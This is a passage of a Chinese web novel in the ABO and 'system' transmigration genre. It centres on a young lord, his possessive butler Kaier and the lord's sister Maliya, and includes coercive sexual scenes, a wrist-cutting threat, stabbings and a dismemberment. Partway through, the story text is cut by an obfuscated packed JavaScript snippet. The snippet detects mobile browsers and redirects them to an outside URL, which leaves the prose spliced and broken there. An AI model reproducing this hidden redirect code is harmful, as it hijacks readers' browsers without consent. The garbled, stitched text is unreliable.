特别是自己那光洁的皮肤裸露在外面的样子,更像是在提醒康诺——你的身体已经有感觉了。 系统:干嘛为难自己,喜欢明家就直说呗,反正你都已经喝了分化剂了。 祁许:你闭嘴!我像是那种为了完成任务而出卖身体色相的人吗?他是我的攻略目标!是我的对手! 突出强调对手两个字,却越发显得欲盖弥彰迷。 系统:哦哟。 祁许:你再阴阳怪气一下试试? 回答他的是长久的沉默,但他心里是一点都高兴不起来。 因为,此时凯尔竟然当真听了他的话,嘴角含着一抹温柔的浅笑,眼里带着淡淡的宠溺,低头替他盖被子。 那种白花花的露骨的诱惑,真是让人承受不了。 特别是,躺在床上的美人,还有一副张牙舞爪又虚弱至极的模样,小脸微红,目含春水。 凯尔在心中轻轻的叹息,在盖被子的间隙里,又忍不住抚摸了一下康诺还未完全长好的腺体。 他盘算着,估计再过几天就可以了。 “你干什么?盖个被子都要动手动脚,是吗?色狼!” 大掌抚过光滑的肌肤,微微粗糙的掌心与细腻的皮肤,形成极致的触觉冲撞。 康诺猛的扬起脖子咬住牙齿,才勉强抑制住了从喉咙里发出来的销魂的呻吟声。 他外强中干的吼起来,却不知道此时自己的声音已经带上了细微的颤音,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305254|198697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不是呻吟,却更似呻吟。 连他自己都不得不承认的是,凯尔的信息素已经让他有了感觉,他现在迫切的希望能够得到眼前的人,只不过是过不了心里那关而已。 系统:原来你还有脸。哦吼。 祁许:你闭嘴! 如果不是自己现在虚弱,他肯定要和这个坑人的系统好好的理论理论。 凯尔没有理会康乐的吵闹,他隔着康诺细腻的肌肤,轻柔的抚摸那正在分化生长的腺体,眼睛里一片燎原火色。 “乖一点,别老翻来覆去的闹腾让我担心,嗯?” 低沉颤抖的尾音听的康诺连心尖都开始颤抖起来,他甚至觉得自己刚开始生长的腺体在不断的叫嚣,巨大的空洞袭来,让康诺忍不住想蹭一蹭凯尔伸过来的手。 他半眯着眼睛,脸色驼红一片,舌尖抵着牙齿,拉出一道银亮的丝。 就轻轻碰一下,嗯,他就是脸有点痒而已,对,真的是这样。 可是,等他靠过去的时,候才发现自己身边早就已经空荡荡的一片,原来不知在什么时候,凯尔已经起身离开了。 该死的,把自己撩拨出了一身火气,却就这么拍屁股走人,这男人也太不负责了吧! 康诺深吸一口气,不顾自己现在的身体状态,赌气的狠狠的一拉被子,彻底蒙住了头,可他脑海中,却不断盘旋着凯尔的样子。 包括以前看到的他那一身白大褂,温柔的站在自己面前的样子。 包括他嘴对嘴的喂食自己分化剂的样子。 他舌尖深入自己的口腔,带走自己口腔之中所有苦涩的样子…… 一幕接着一幕的浮现出的画面,让康诺几乎不敢触碰自己的躯体。 因为,稍微的一点点触碰,就能让他现在格外敏感的身体颤粟不止。 好想要,真的好想…… 极度的折磨让康诺忍不住的又红了眼眶,他一边哭一边咬着被子,直到空气之中属于凯尔信息素的味道彻底消散,他才沉沉睡去。 门外传来一声轻轻的叹息,凯尔看着躺在床上熟睡的人儿,目光一片满足。 来日方长。 第二天,康诺一整天都没有看到凯尔,生活中的一切事情都交给了仆人照料。 但好在,没有凯尔信息素的诱惑,康诺除了没什么力气之外,已经恢复的差不多了。 第三天的时候,康诺轻轻抚摸着自己腺体的位置,只觉得整个人都生龙活虎。 看来是彻底长好了。 而与此同时,门外传来沉稳的脚步声,凯尔披着军大衣,面容严肃,眼神却极度温柔。 但他黑着脸的样子,多少有点骇人,康诺忍不住后退了一步,看着不停的朝自己走过来的男人,说话都不利索了。 “你昨天去干嘛了?” 像小媳妇一样的质问,连康诺自己都没有察觉到。 “我待在你身边你会更不好受。” 康诺身材玲珑,似乎只到凯尔的肩膀,让凯尔一伸手,就能摸到他毛茸茸的发顶。 而他也确实这么做了,然后,大手就落在他瘦弱的肩膀上,把康诺身上松松垮垮的穿着的睡衣不小心扯了下来。 光洁细腻的肩膀瞬间露了出来,康诺咽了口口水,俯身吻住了凯尔的唇。 凯尔也不由自主的攀附上去,热烈的回应他这么一个炙热的吻。 两个人的信息素在空气之中疯狂的交换传播,房间里的温度似乎燃到了极点,凯尔的喉结上下滚动,大掌扣住自己的领结,一把扯下了身上的披风。 康诺整个人都被他压在身下,整个人酥软的不成样子。 任君采撷。 脑海中浮现出这四个字,凯尔只觉得一股火气直冲脑海。 可就在他以为这次康诺会乖乖听话的时候,那个连推开自己都没力气的小东西,竟然连滚带爬的抱住了桌角,从桌子上晃下一个茶杯。 杯子落在地上,发出清脆的碎裂声,康诺一把抓住碎片放在自己手腕上,狠狠的割了下去。 他摇了摇头,让自己的脑袋清醒下来,沙哑的声音威胁。 “带我去见玛利亚!不然就死给你看!” 13. 第十三章 凯尔死死的看着康诺,眼睛榨都不眨。 康诺毫不示弱的对视,竟无端的从他的眼睛中看出几分委屈。 “带我去,凯尔,我求你了。” 康诺继续恳求着,目光哀伤。 “她就那么重要?”重要到你可以以死相逼,重要到让你如此哀求。 “对,就是这么重要。”康诺硬着头皮回答。 “好。”凯尔深吸一口气,松开对康诺的钳制。 “过来处理伤口,包扎好了带你去。” “好。” 凯尔好气又好笑的看着疼的脸都皱成一团的康诺,现在倒是知道疼了,下手的时候怎么就不知道呢。 凯尔手上的力道不动声色的又重了一分。 本来以为已经过去了对康诺被这一下整的差点喊出来。 系统:问题不大,反正你目的已经达到了。 祁许:我有一句脏话,一定要讲的那种,系统里你听吗? 康诺看到玛利亚的是在一个完全封闭的软包房间里,没有半点利器和瓷器,甚至连杯子都是纸的,不至于,真的。 “哥哥。”玛利亚想扑上来,却被侍女拦下。 “玛利亚小姐,请注意仪态。” “放手。”玛利亚冷眼看向侍女,侍女笑容谦卑,但手中不曾松上半点。 “玛利亚,没事的。” 康诺被凯尔半抱在怀里,受伤的手腕被宽大的衣袖遮盖。 “好的,哥哥。”玛利亚只能坐下。 “放我下去。”康诺无奈的看着男人,他只是手受伤了,腿又没残,凯尔缺把他照顾的像个残废。 “乖,安分点。”凯尔看着玛利亚,眼底的神色莫名。 玛利亚只觉得凯尔看着她的眼神,令让人很不舒服。 该去怎么形容呢,大概就是亡命徒看到了可以躲避追杀的护身符,不,并不确切,因为玛利亚清楚的感受到了凯尔的杀意,而亡命徒,是不会对护身符露出杀意。 太奇怪了。 但一定是不安好心的,玛利亚一下子紧绷起来,如临大敌。 凯尔看着炸毛的玛利亚,露出来一个浅淡的笑,毫不掩饰恶意的笑。 康诺没有注意两人之间的暗潮涌动,在看到玛利亚安全之后,他就有些走神了。 精神紧绷的时间过长,心一下子放下来,康诺难免的注意力降低。 “康诺。”凯尔突然叫他,一字一顿。 “嗯,有什么事吗?”康诺抬头看向凯尔,对方叫他名字的时间并不多。 凯尔的目光却是下滑,露骨都目光滑过康诺小巧漂亮的喉结,滑进略微敞开的领子里。 “凯尔先生。” 玛利亚唤了一声,她看得懂凯尔的目光。 凯尔笑了,同时右手将康诺死死地按在怀里,而另一只手拿着不知何时抽出来的短剑稳稳的搭在玛利亚的脖子上。 “凯尔。”康诺被吓到,挣扎着想要掰开凯尔的手。 “您要是再动下去,我的手只怕就要不稳了。”说话间手腕用力,玛利亚脖子就被压出了红痕。 “你不是答应过我,不会碰玛利亚的吗?”康诺急的要命,但是也不敢动了,唯恐激怒了凯尔,要是玛利亚死了,他虽然不至于死,但也肯定不会好过。 谁知道那惩罚是什么鬼东西。 “我答应过你的,就不会反悔。”凯尔说着抚上康诺的腺体,用指腹反复的摩擦揉按。 近乎明示的暗示。 哪怕是场合不对,康诺依旧没忍住红了脸,但是还想着任务,试图露出生气的表情。 但是脸上的红霞和已经快烧起来的耳朵,他那张自以为是生气的冷脸,完全没有生气该有的感觉,更像是在撒娇,恼羞成怒后的撒娇。 “那你现在又在做,我不记得我违抗了你。”康诺这话说的堪称心虚。 对,你确实没有违抗我,你只是打算以死相逼罢了。 “让我标记你。”凯尔一脸正经的说出堪称耍流氓都话“我想要你染上我的气息。” “他说什么?”玛利亚出离的愤怒了,在她的理解中,康诺是个温柔又骄傲的人,纯净美好,这样的人不该被人如此对待。 我的小姑奶奶啊,祁许都想给玛利亚跪下了,我知道你是担心我,但是你能不能先保证自己的人身安全? “凯尔,出去,回我房间。”康诺语速极快,完全不给玛利亚说话的机会。 “好。” 凯尔对着玛利亚露出一个挑衅的笑,抱着康诺离去,玛利亚想要追下去却被侍女压住,只能用带着恨意的眼神盯着铠尔离去的背影。 回到房间,康诺甚至没来得及看一下自己的房间变成了什么样子,就被扔到了床上,男人的力道控制的很好,看着阵仗大,实际上并不疼,尤其是康诺受伤的手腕更是碰都没碰。 康诺本心上并不拒绝被标记,但是奈何人设剧情不允许,所以只能一边装作反抗一遍暗自享受。 哪怕脑海里在和系统疯狂飙车,但面上依旧是一副贞烈模样。 再一次被推开的凯尔终于怒了,将康诺整个人翻转,咬上了他的腺体用牙齿轻咬。 康诺一瞬间感觉到了薄弱的腺体一阵激灵,带着些疼痛。 祁许:来了来了终于来了! 系统:……我要一个没被污染过的脑子。 “看来她对你真的很重要。”就在进行标记的前一刻,凯尔突然说道,声音闷闷的。 康诺本来已经准备好了迎接凯尔的到来,谁知道箭到弦上,却强行按住。 “因为她是我妹妹。”康诺试图安抚凯尔,同时声音止不住的颤抖,受宠多年的小少爷哪能见过这种场面,他马上就要被自己的执事给“吃了”。 “很快你就只属于我一个人了,我等了太久了,康诺。” 这是凯尔第一次叫他的名字,祁许微愣了一下便立刻感觉到了强烈的疼痛。 他被完全标记了。 这么多年他只知道凯尔是信息素是红酒味的,以前的时候却从未放出来让他闻到过。 酸涩的红酒味信息素极具冲击力的染浸了他全部的腺体,酒精让他感觉到了尖锐感、灼烧感、红酒中的糖分黏腻厚重。同时他的脸也红透了,像是喝醉了,脑袋也变得晕乎乎了起来。 那一刻康诺觉得自己就像是在烤架上面的鱼,翻来覆去莫过于此。 凯尔似乎也醉了,他越来越不手下留情。 “我在吃醋,你为了她可以以死相逼,甚至答应我这种要求,那我呢,我在您心里又算得上是什么呢,我的小少爷。” 凯尔说完便吻上了康诺,似乎想要将人所有未说出的话全部封住,防止自己听到那些伤人的字眼。 康诺被迫回应他的热情,承受着他带给凯尔的不安。 这也算是某种程度上的自作自受吧。 快昏迷的时候,康诺脑海里面无端的冒出了这一句。 等到康诺第二天醒来的时候,已经是不知何时了,但是肯定不算太早。 “您醒了吗?” 侍女的敲门声打断康诺的沉思。 “嗯。” 在得到肯定的答复之后,门被打开,端着食盘的侍女鱼贯而入。 早餐都是温度刚好的,想必是背了不少,只等他起来。 唯一值得疑惑的是,从康诺醒来便一直没有看到凯尔。 系统:“有什么好奇怪的,等你气消了,他自然就来了。” 但是仔细一像,凯尔睡完人就不见的模样,还真有几分渣男的气势。 康诺一遍发呆一遍调戏系统:“统哥,你好熟练啊。” 但是在女仆的眼里,康诺就是表情消沉的小可怜模样。 “我总感觉你在内涵我。” “没有没有,你的错觉。” 康诺瞥了眼一直在时不时看他一眼的侍女。 “您需要什么吗?”侍女表情冷淡地回答。 这个应该是凯尔特地调过来的人,目的的话如果没有猜错,那应该就是不让自己寻短见。 对此康诺只能表示凯尔想多了,康诺馋看凯尔身子也不是一天两天的事情了。 “不需要了,你出去吧。”康诺转过身背对着门口,声音冷淡。 凯尔还没有进门,就听到自家小少爷的声音“要闹脾气吗?” 康诺不住的皱眉,凯尔这话简直就像是在说一个不好好吃饭的宠物。 凯尔对于自己没有得到回答也不甚在意,自顾自的走过来,从后面抱住康诺。 “不舒服吗?”只有把康诺死死的抱在怀里的时候,凯尔才会有一种这个人是自己的的感觉。 康诺依旧是不说话的,还要强制对方转过头,瞧见了康诺眼中的迷茫与委屈。 “不敢置信吗?” 凯尔低低都笑出声。 “不然呢,装作什么事情都没有发生那样的自欺欺人吗?”康诺没有正常,任由凯尔抱着他,乖巧的就像一个布娃娃。 凯尔有些不安,他不是没有设想过康诺这个样子,他甚至想着自己要如何去哄康诺,但是到头来却发现还是无能为力。 他更希望康诺能表现出生气的样子,对着他大吼大叫,甚至甩脸色耍脾气,这样的话至少能证明康乐眼中还是有他的,而不是像现在这一副模样。 这一副毫无生机,甚至连一个眼神都不愿意给自己的模样。 “别露出这副表情,与我说话吧。” 康诺依旧就是沉默着的,双目无神,视线飘散。 哪怕是缩成一团的姿势,但是依旧是遮不住的单薄。 “吃饭了吗?” 康诺依旧毫无反应,当时那个表情冷淡的侍女向前迈出一步“吃过了,但是并不多。” 康诺一听到这句话就知道要遭,他可没忘记自己上次绝食的时候答应过男人什么条件。 “再端一份过来。” “是。”侍女利落的转身,一举一动都规矩都没有一个多余的动作。 “张嘴。”凯尔搅动着碗里的粥,小声的诱哄。 “我吃过了。”勺子都怼到嘴边了,康诺才不情不愿地回答。 但是凯尔并没有理会他的话,径直乘着这个空隙将粥味道他嘴里,凯尔的力道很有分寸,不仅没有磕到康诺的牙,甚至连分量都是刚好的,完全不会呛到。 “要是您不想与我说话的话,那等您吃完饭之后,我们可以一起讨论一下玛利亚小姐。”凯尔的声音听不出半怒气,甚至让康诺有一种梦回从前的感觉。 大底是康诺还是真正意义上的小少爷的时候,凯尔与他说话的时候,就是这个语调。 凯尔注意到了康诺的走神,眼中闪过一丝得逞的光芒。 “这与玛利亚无关,你与我的恩怨不应该牵扯到玛利亚,她自始至终都没有参与,不是吗?”康诺回过神来,试图让凯尔的注意力不要再集中在玛利亚身上。 凯尔却更不高兴了,哪怕知道玛利亚是坑了的妹妹,但还是免不了嫉妒,不明白为什么玛利亚在康诺心中会有那么大的份量,你看,刚刚还不愿意自己说话的人,听到玛利亚三个字就迫不及待的开始长篇大论。 康诺抿唇,他自然是感受到凯尔一瞬间的低气压,但是,事关玛利亚,这让他如何冷静。 “我……并不是这个意思。”康诺干巴巴的开口解释,但是连他自己都不知道他说的是什么意思,却意外的安抚到了凯尔。 “她与这件事情有没有关,决定权难道不都在您的身上吗?”凯尔继续给康诺喂粥。 勺子停在康诺的嘴边,康诺张开了嘴。 凯尔见状笑了,就不再提起玛利亚了。 “我会乖巧的。”康诺低下头,却又被抬起下巴。 粥已经吃完了,碗被侍女拿走,侍女出去之后就再也没有回来,房子里面只剩下他们两个人。 “您可真会抓我的软肋。” 凯尔把头埋在康诺的颈窝,低声抱怨。 被恶人先告状的康诺欲言又止,这可真是够无理取闹的。 “您也是真够无理取闹的。”康诺学着他的语调这么说道。 这是凯尔完全意料之外的回答,以至于他都有些愣住。 紧接着就是凯尔的笑声,不同于那种带着压抑的低笑,那容易传到耳朵里,你就会知道他很开心的笑。 “在房子里呆着应该有些无聊了吧,要去花园吗?”虽然是问句,但是凯尔却径直抱着康诺走出房门。 康诺也乐得有人伺候,任由了对方的动作。 两人出去的路上遇到了侍从,但是他们无一不是行完礼之后就死死看着对面,仿佛上面有什么千金不换的名画一样。 不去看被男人抱在怀里的少年一眼。 康诺被男人放在摇椅上,感受着轻拂的微风,直到男人的按在了他的腺体上。 康诺一下子就警觉了,但是为时已晚,来不及反抗就被盖上了眼罩剥夺了视线,只能凭借着从黑布下面透露出来的光确认自己还在外面。 “不要,太羞耻了。”连手都被绑住的康诺慌了“回房间,拜托了。” “不要。” 三天三夜。 整整三天三夜。 从系统里面得知这个时间的时候,康诺心中是崩溃的。 原来真的有人类可以这么久,他就不怕x尽人亡吗? 啊???祁许之前一直以为这些情节只会出现在某些不可言说的绿色页面里面,真的是想破脑子,他都没有想过这些东西会到他身上来。 毕竟,人不能,至少不该。 他不知道自己在这个过程中混了多长时间,但是最清醒的时间,绝对是在饭点,就算是吃饭,也是被男人抱在怀里面喂着吃的,整个脑子都是混混沌沌的,男人说什么就干什么,一想到这个期间自己都干了什么事情,康诺就恨不得自己现在失忆。 哪怕是事情已经过去了,但是康诺现在依旧是看不见的,因为眼睛上面有药,而且是拿纱布缠着的。 在经历了三天疯狂之后,康诺的眼睛成功哭肿了,甚至见血了,看到了血丝的凯尔,哪怕再是不情愿,也只得强忍欲望。 “怎么样?” 刚刚给康诺上完药的医师一脸欲言又止。 “说实话就好,不必害怕。” 话虽然这么说,但是医师看着凯尔的脸色,以及那种感觉会随时起来打人的气势,还是选择了把话说的委婉一点。 “近期内的话还是静养,不要再做什么活动,眼睛的话只是种了三四天就可以了,其他地方上药的时间就要长一点。” “我知道了。” 其实这个结果还是凯尔强忍的欲望后的,心心念念那么长时间的人,好不容易到怀里了,哪有那么容易放手。 尤其是在尝到了味道之后,就像是常年守着一只兔子的狼,常年都是闻着兔子的味道,但是只能吃草,因为兔子还没有长好,因为时机还没有到来,好不容易开了荤了,早就红了眼了,那还有几分理智可言。 凯尔去看康诺的时候,康诺还在生闷气,头一扭就不肯理他了。 “滚。”康诺虎着一张脸,他暂时并不想让看到凯尔,虽然他的眼睛被蒙的严严实实的,哪怕凯尔站在他的面前让他随意打量,让他都做不到。 甚至身体的不适感,让他连下床都费劲,尤其是最近的饭菜都是偏清淡的玩意,几管齐下康诺直接成了一颗小白菜,直接瘪了。 “乖,医师说了,你这几日只能吃一些清淡的,待你好了,想吃什么我都随你。” 康诺听到这句话就来气,我为什么只能吃清淡的,您老人家心里有点数吗?但凡您节制一点,也不至于三天三夜。 康诺觉得自己自私,以后对三整个数字都要有心理阴影了,他确实是个lsp,但是也架不住这么搞啊。 “这话说的可真是坐着说话不腰疼。”康诺眨眨眼,整个眼睛都是酸涩的。 凯尔只能奈着性子继续哄,这番交谈最后以康诺困了结束。 等到凯尔出去的时候,看到的就是正静静等着他的女仆。 就是前几日来照顾康诺的那一位。 这一位并不是什么女仆,嗷而是凯尔精心培养出来的心腹。 “您的私人生活我并不能插手,但是那位玛利亚小姐,还希望大人听我一言,早日处理掉为好。”侍女主要负责的是情报方面,除去前几天在康诺身边待了几天,其他时候都是负责监视玛利亚的。 “我会处理他,但不是现在。”凯尔不想多说,正欲转身离去。 侍女先他一步来到他的面前,单膝跪下:“您上次对待康诺少爷也是这么说的。” 凯尔皱起眉,他不愿意听到这种话语,玛利亚怎么可以和他的小少爷相提并论呢? “但是这位玛利亚小姐,与康诺少爷并不同,属下在他的眼中看到了明亮的仇恨。” 凯尔笑了“这难道不是很正常吗,何止是他,就连康乐也是这样看着我的,不是吗?” 这是凯尔最不愿意提起的事情,如今主动说出来,显然已经是十分不耐烦了。 “这并不一样,属下在康诺少爷的眼中,并没有看到那般明亮的仇恨。”甚至就连恨意都是少的可怜。 这个回答是凯尔未曾料想过的,他想过女仆会避重就轻的绕开康诺,只去提留着玛利亚的坏处,却未曾想过侍女会回答说,康诺眼中并没有仇恨。 这太不合理了,简直就像是只有在梦中才会发生的事情。 凯尔想不出康诺有什么理由不恨自己除非……他对自己满怀爱意。 这个想法让凯尔整颗心都猛的跳了一下,甚至有心情去听侍女的长篇大论。 “我希望你不要为了我的目的去骗我。”但是哪怕知道你很有可能在骗我,我还是会忍不住的去相信。 “请大人相信属下的能力,但是目前最重要的还是那位玛利亚小姐,不是吗?”侍女并不愿意看到话题偏离。 “这里不是说话的地方。”这个过道再往前走一段就是康诺的卧室了,哪怕是看着少年入睡的,但是凯尔仍然不愿意冒险,哪怕是1%的可能性。 “是,大人。”侍女稳稳的跟在凯尔身后一步的位置。 “所以……大人有在听我说吗?”这是侍女第三次发现凯尔的走神。 “有。”看样又何尝不知道,留着玛利亚就是个威胁呢。 但是如今只有玛利亚才能约束住康诺了。 “属下愿意为大人赴死。”侍女突然说出这句无厘头的话。 凯尔无言的看了她一眼, 侍女的意思是她会杀死玛利亚,然后到时康诺如果要询问,侍女可以用他自己的头颅,去平息康诺的怒火。 “但是如果你的头颅不能平息他的怒火呢。”凯尔最后还是否决了侍女的提议。 侍女不解,她的大人从来都是杀伐果断的。 现在还不到时候,而且……不过是一个玛利亚罢了,还不值得让他用康诺的命去赌。 直到现在康诺的伤依旧没有好,血茄攀附在白色纤细的小指节上,看着那么让人触目惊心,那么脆弱易断,得需要好好保护着。 我究竟该拿你怎么样才好? 您可真是死死的抓着我的软肋。 “那个女人终于走了。” 侍女的气质太过突出,哪怕是玛利亚都不能将其无视,有他在玛利亚根本就不敢轻举妄动。 甚至连联系军团都只敢在侍女不曾出现的时间里。 玛利亚从来都不是一个乖顺的,尤其是在发现凯尔对康诺的所作所为之后。 玛利亚就像一个小心翼翼的火药桶,一点一点的往自己的身体里面填充火药,直到等待敌人放松警惕的那一天。 但是玛利亚无法再忍下去了,哥哥为她已经牺牲的太多了,她不能再让哥哥继续落入那个人的手中。 她那天被侍女压着,眼睁睁的看着哥哥被凯尔抱走,那个男人的一只手甚至还搭在他哥哥的腺体上。 玛利亚从来就不是不懂这些的。 正在干着活计的玛利亚握紧了拳头,今天那个女人不在,军团那边也已经答应了。 就是现在了,玛利亚打昏了和她一起的小侍女,从窗子之中翻了出去,那边有接应她的人都是提前安排好的。 “你们先走,在门口等我。” 再一次确认没有被守卫发现之后,玛利亚终于松了一口气,对着同伴小声的耳语。 “ 危险性太大了。”同伴并不赞同玛利亚的举动,这实在是太过冒险了。 “我有必须要去的理由。” 两个人争执伴想,最后还是以玛利亚获胜结束,但是玛利亚并不是孤身前往,两个杀手与他一同暗中前去。 “我需要去找我的哥哥,这个王国真正的继承者。” 玛利亚如此对同伴说道。 玛利亚看到康诺的时候,对方正在昏睡。 眼睛上面蒙着纱布,宽大的睡衣下面每一寸皮肉都布满了红痕,就连脖子和耳后都不能幸免。 玛利亚甚至在康诺的手腕上,看到了大面积的伤口,擦伤居多,但是都不深,但手腕上那个明显是利器划开的口子,还是让玛利亚一下子就红了眼。 他怎么怎么敢啊…… “禽兽不如的东西,我一定要杀了他。” 玛利亚捂着嘴,防止自己因为激动发出声音,她身后的杀手轻轻拍了拍她的肩,玛利亚现在的状态实在是有些骇人。 红着眼的少女,眼 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“好,我闭嘴,只是不知道现在玛利亚小姐还打算寻死呢?”同伴的声音依旧凉凉的,但是他的心却放下了,玛利亚已经冷静下来了。 “但是起码给我一个叙旧的时间,这个总该是可以的吧?” “当然可以,但是我们的时间不多了。” “我知道了。” 玛利亚先是看着康诺,一言不发的看着,轻轻的拂过康诺的伤口,最后视线落在对方被纱布缠绕的眼睛上。 “对不起……”玛利亚最后还是没有忍住眼泪,她甚至无法确定康诺现在是否还能看得见? 同伴没有去打扰她,只是在外面把风,一时间寂静的让人不安。 终于玛利亚回过神,再次在康诺耳边絮絮叨叨了几句,反反复复的说着,她一定会救他出来。 只可惜康诺在沉睡之中,一句都不曾听到。 最后还是同伴提醒玛丽亚时间已经很长了,再不走就走不了了,玛利亚才下了决心。 刚一逃出皇宫,玛利亚就再也无法支撑住自己,整个人跪倒在地上,还好同伴眼疾手快扶她。 “我知道你很崩溃,但是哪怕崩溃也得到了安全区,除非你想看你哥哥白白的牺牲,看你现在被抓回去成为,再次成为威胁你哥哥的筹码。”同伴的声音很冷静,或者说玛利亚已经崩溃了,如果他再不冷静的话,他们这一队人都得死。 “你说的对。”玛利亚站起身子,深深的看了一眼皇宫的方向。 “开始准备计划吧,我不能容忍他在这个世界上哪怕再多活一分钟。” “好。” 玛利亚没有说出来的是,如果计划失败了无法救出哥哥,那么她恐怕也只能……玛丽亚将剩的几个字咽进肚子里,安慰自己不会的。 “玛利亚逃走了。” 祁许一醒来就被系统通知了一个重大消息。 什么时候? 祁许一愣,这是原剧里面没有的剧情,估计应该是因为蝴蝶效应吧,不过也对,自己都把剧情破坏成这个狗样子了,要是还没有蝴蝶效应,那才就奇了怪了。 系统:昨天,她走的时候还特地来见了你一面。 不知道为什么,祁许从系统这句话里面听出一些幸灾乐祸。 系统:你们兄妹很快就能团圆了。 果不其然,祁许听出了弦外之意,一张小脸都快皱成一团了。 祁许:她打算来刺杀凯尔? 妹啊,算我求求你了,你别作死,不要带着我一起死。 系统:对。 系统说完之后紧接着就是极具嘲讽意义的笑。 祁许看了一下自己浑身的伤痕,大概想到了玛利亚来见自己的时候是什么感觉。 就其实挺没有必要的,他其实也挺爽的。 康诺无语望天,开始思考玛利亚被抓之后,他要用什么代价从凯尔手上保下玛利亚。 “玛利亚逃走了。” 凯尔通知康诺这个消息时他们两个正在温存。 康诺抬了下眼皮,困的整个人都是迷糊的,还是系统在他脑海里吼了□□声才把他给吼清醒了。 “你会把她抓回来吗?” 康诺只能强行打起精神睁大眼睛问,凯尔看到的就是另外一副样子。 本来昏昏欲睡的人,然后在听到玛利亚这三个字之后,瞬间就来了精神。 真的是太过分了。 这个样子的话,真的很难不起杀心啊。 “你是否有些太过于关心她了。” 凯尔的声音总是带着凉意的,尤其是在生气的时候。 康诺有些时候就是凭借这一个小细节来分辨男人有没有生气。 但是这一次甚至都不用分辨,每一个感官都在明晃晃的告诉他对方的怒火。 “ 我……我只是担心她会来刺杀你。”康诺犹豫半响,最后选了一个折中的答案。 凯尔笑了下,没有在纠结。 “睡吧。” 一夜无梦。 起码康诺是这样的。 以至于他第二天早上起来的时候依旧是迷糊的。 因为身体底子实在是有些差,哪怕是爱惜他如凯尔也在权衡之下选择逼康诺锻炼。 那个晚上康诺捏着自己已经有了软肉的小肚子,再想了一下最堪称成足不沾地的日子,咬牙答应了。 从此早起晨练就成了康诺每天必经的一个磨难。 祁许:系统,你说玛利亚最近怎么样了? 系统:应该依旧在想着如何弄死凯尔救你出去。 祁许:真的,大可不必…… 祁许自己知道是乐中作苦,但玛利亚认为康诺是苦中作乐。 “玛利亚小姐,您真的确定了,我并不建议您现在就出现,那个男人并没有下通缉令,您现在养精蓄锐才是最好的选择。” 这是军团长早上走是的劝告,不希望玛利亚就此丢姓名。 但是玛利亚对于这份好意只能心领。 对啊,没有通知令,甚至都没有搜查的命令,就好像完全没有她这个人一样,这是最适合养精蓄锐的机会了。 玛利亚比谁都清楚,却比谁都不愿意选这一条路。 玛利亚不知道康诺为了去掉她的通缉令又付出了什么代价,玛利亚每天入梦后,梦里面都是康诺满身伤痕的模样。 愧疚与不安始终折磨着她,而她的恨意则在这一份折磨之中日益发酵。 “哥哥,再等等,再等等就好了……” …… 玛利亚从来不知道自己如此天真,直到凯尔踩上她的头颅。 她所谓的千衣无缝的计划被破坏的完全,甚至连奉为王牌的杀手被侍女斩杀殆尽。 那个有着冷静表情的女人,手中明明只有一把并不锋利的水果刀,却还是成为了玛利亚的梦魇。 “你还再反抗吗?”侍女笑着踩在玛利亚的胸口。 那是玛利亚第一次看到这个女人笑,并不难看,相反整个脸都鲜活起来了,只是作为这一份鲜活的代价的是几十条人命。 大概是玛利亚的目光过于直白,侍女突然冷下了脸,一刀刺穿玛利亚的肩膀,但是却没有杀了她,只是拖着她在这宫殿中行走。 神志清醒的感受痛楚,玛利亚看到自己经过的地方被血渲染,默默等待着死亡的到临。 但是出乎意料的,侍女只是叫玛利亚扔出了窗外,虽然手段粗暴,但还是没要到她的命。 “走吧,尽情享受别人为你付出了代价的自由。”侍女又开始笑了。 这个恶劣到极致的家伙,似乎总是喜欢将别人的幻想踩碎,然后将碎片捅进对方的咽喉。 “你说什么?” 玛利亚的瞳孔紧缩,就连肩膀的伤口都顾不得,挣扎着爬起来,想要抓住女人询问。 “我说,已经有人为你付出代价了,你自由了。”侍女煤说出一个字,语调就要轻快一些。 与之相反的是玛利亚逐渐灰败的眼睛。 侍女叫玛利亚扔了下 ,就像扔开了一只破布娃娃,毫不犹豫的转身离去。 “玛利亚小姐你。”那位与他相伴时间最长的同伴出现。 “失败了,除我之外全员死亡……”同伴似乎在隐瞒什么。 “你见到谁了?”玛利亚问出那个已经在自己心里的答案。 “康诺,你的哥哥。”是他求那个男人放了我。 同伴并没有说出后半句,但是玛利亚连不用想就能猜出来。 “帮我执行最后一个任务吧,如果能活着出去,你就救了我两次了,我这条命就是你的了。”玛利亚眼中的神采恢复了一些,同伴看到了她眼底的疯狂。 哥哥,我唯一的亲人,将我拉出泥潭的人,我一定会救你出来,如果不能的话……那就让我送你一程吧。 总得,让你干干净净的走。 “我要带走哥哥,就算我们一起去地狱,也要逃出这里。” “……好”同伴沉默良久,最后才吐出了这个字。 他想,他应该是等不到玛利亚还自己命了。 玛丽亚疯狂掩护同伴逃走,不顾一切的拖住了凯尔。玛利亚是没有任何的留手,但是凯尔需要留住玛利亚的命,便拖延了一会。 直到侍女一脸惊慌的冲来:“不好了陛下,康诺小少爷被匕首刺进胸膛了!” 玛利亚想今天可真是个好日子,她救出了哥哥,从这个人脸上看到了笑,还从这个人脸上看到了惊慌。 玛丽亚在被凯尔一脚踹倒时都是笑着得。 等到凯尔赶到的时候,玛利亚派来杀康诺的同伴已经被死了,死于自杀,同伴不想见识一下这位大人的刑法,他选择让自己死的干净一点。 他所使用的工具正是刚刚从康诺胸口拔出来的匕首。 康诺倒在血泊中,他身下的血染红了一整个床单,像是一朵在强烈绽放的玫瑰花。 凯尔顿住了,他甚至不敢再继续前进一步。 他可以容忍玛丽亚对自己的刺杀,因为康诺想要玛利亚活着,并且为了玛利亚自愿带上锁套。 这个小傻子只知道一直保护别人!让他也无条件信任了玛利亚不会伤害这个小傻子。 可是他错了,而这个代价他根本承受不起。 凯尔无法再容忍玛利亚一丝半点。 凯尔冲到门外砍去了玛利亚的手臂。 其实凯尔不用再补刀的,因为之前侍女造成的伤,再加上凯尔的的那一脚,已经让玛利亚命悬一线。 就算救治起来都是九死一生,更何况如此呢。 